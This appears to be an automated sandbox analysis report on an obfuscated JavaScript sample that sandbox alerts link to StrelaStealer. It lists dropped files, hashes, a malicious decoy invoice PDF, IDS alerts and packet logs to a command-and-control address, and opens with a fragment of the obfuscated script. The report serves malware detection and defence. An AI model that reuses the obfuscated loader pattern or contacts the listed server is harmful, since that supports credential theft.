SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\978c4616-d0ff-4ad1-bf08-d63a7e4a4ff8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/+oWL07oXGZIeYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:moWLxXGZIeZGh3mlind9i4ufFXpAXkru
MD5:	1A2B52F6656B1CFC8EE5979B7C3E7A5B
SHA1:	8CD47BD3287B4E3806B18F80212103B78660605F
SHA-256:	BAB05E454FF1F856F1EE270115DCA2F74379343605E48B086A82C6A562B29A5E
SHA-512:	F007EBD4BF5F35AB296CAC9BCB614BD9F9F10912A9164360E35BEB05FA249C31FE113910879ED7CCAF13BAC6A01B6EF9EFA85042648017BB75E9682B9762F3A3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a9d4de2c-19d9-4e26-b6f4-13d22c64a0d7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17714), with CRLF line terminators
Entropy (8bit):	4.909585902646307
TrID:
File name:	1194187433219817322.js
File size:	21'188 bytes
MD5:	77add6afb74b741b0255271300c63501
SHA1:	49d13ba25e45101479b50eb31c7d0d65e09c1296
SHA256:	a6bcb74282c60525f5959b876071c730eb45e94841f5d912fbe9def631f65399
SHA512:	c59b53e8caebe913422b6338438459cc7c17d72ae06e41477141ea48159768fec52cebb5897726f85498036648a4b6134538190a2b4764a48e0c834dc11e6eeb
SSDEEP:	384:rxINGauQa/MFSUBcJYNvIIMhmK07T0v4HgqAKReU624cGsYkpyHvuKFiwmcbK2yI:rxIa96K6TLH84eU624cGsYkpyHvuKFig
TLSH:	529298C1C219C69D49E506FC8EA308AB666C816CC7D1CDEED2441256E317BD2D2F46BF
File Content Preview:	function vnrdyphjp(){endor=[1031,3079,5127,4103,2055,3072];var evnvd=this[olyoer+ubhadrdd+nemmifjlj+qojuf+tbuhcpr+uindi+wibzfpmdz+aofgz](this[llinmzhl+fyggaq+alhmyhi+nemmifjlj+sbpqtbcxz+olyoer+aofgz][ogqpyu+nemmifjlj+tbuhcpr+ubhadrdd+aofgz+tbuhcpr+dtaoyid

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:17:34.668531+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T07:17:34.668531+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T07:17:37.188682+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:17:33.886174917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:33.891056061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:33.891146898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:33.927021980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:33.933392048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668338060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668380976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668392897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668530941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.668693066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668705940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668716908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668728113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668739080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.668761015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.668798923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.669342995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.669356108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.669430971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.673332930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.713779926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.713798046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.713856936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.766829014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.789516926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.789627075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.789674997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.789691925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.789758921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.789807081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.789957047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.789967060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790011883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.790147066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790158987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790215015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.790348053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790482044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790493965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790556908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.790781975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790792942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.790838003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.791203976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.791249037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.791249037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.791260004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.791301966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.791538954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.791549921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.791591883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.792073965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.792125940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.792135954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.792177916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.792407036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.792418003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.792447090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.841837883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.841893911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.841917992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.841931105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.841972113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.876261950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911271095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911295891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911355019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911407948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.911408901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.911590099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911602974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911614895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911658049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.911943913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911956072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911972046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.911986113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.912026882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.912364960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912540913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912550926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912591934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.912760019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912786007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912808895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.912962914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912974119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.912985086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913007021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.913033009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.913415909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913425922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913436890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913491011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.913744926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913755894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913767099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.913789988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.913824081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.914246082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914257050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914268017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914279938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914304018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.914328098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.914771080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914896965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914908886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.914944887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.915177107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915189028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915199041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915210009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915232897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.915256977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.915792942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915803909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915815115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915823936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915836096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.915837049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.915859938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.915887117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.916433096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.916445017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.916491032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.928522110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.928617001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.928627968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.928659916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.928848982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.928895950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.957009077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.957104921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.957176924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.962996960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.963105917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.963116884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.963155985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:34.998001099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.998049021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:34.998049021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.032850027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.032900095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.032915115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033041000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033041000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033123970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033134937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033190966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033266068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033390045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033401966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033428907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033593893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033607006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033631086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033755064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033792973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.033924103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033936024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.033974886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.034229040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034246922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034281015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.034465075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034476995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034487009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034518957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.034923077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034934998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034945011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.034966946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.034992933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.035245895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035257101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035268068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035317898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.035722971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035734892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035746098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035757065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.035768032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.035799980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.036252975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036317110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.036365032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036375046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036421061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.036662102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036678076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036688089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036698103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.036727905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.036762953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.037297964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037308931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037318945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037329912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037341118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037352085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.037393093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.037906885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037919044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.037960052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.038197994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038208961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038219929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038240910 CET	49730	80	192.168.2.4	193.143.1.205
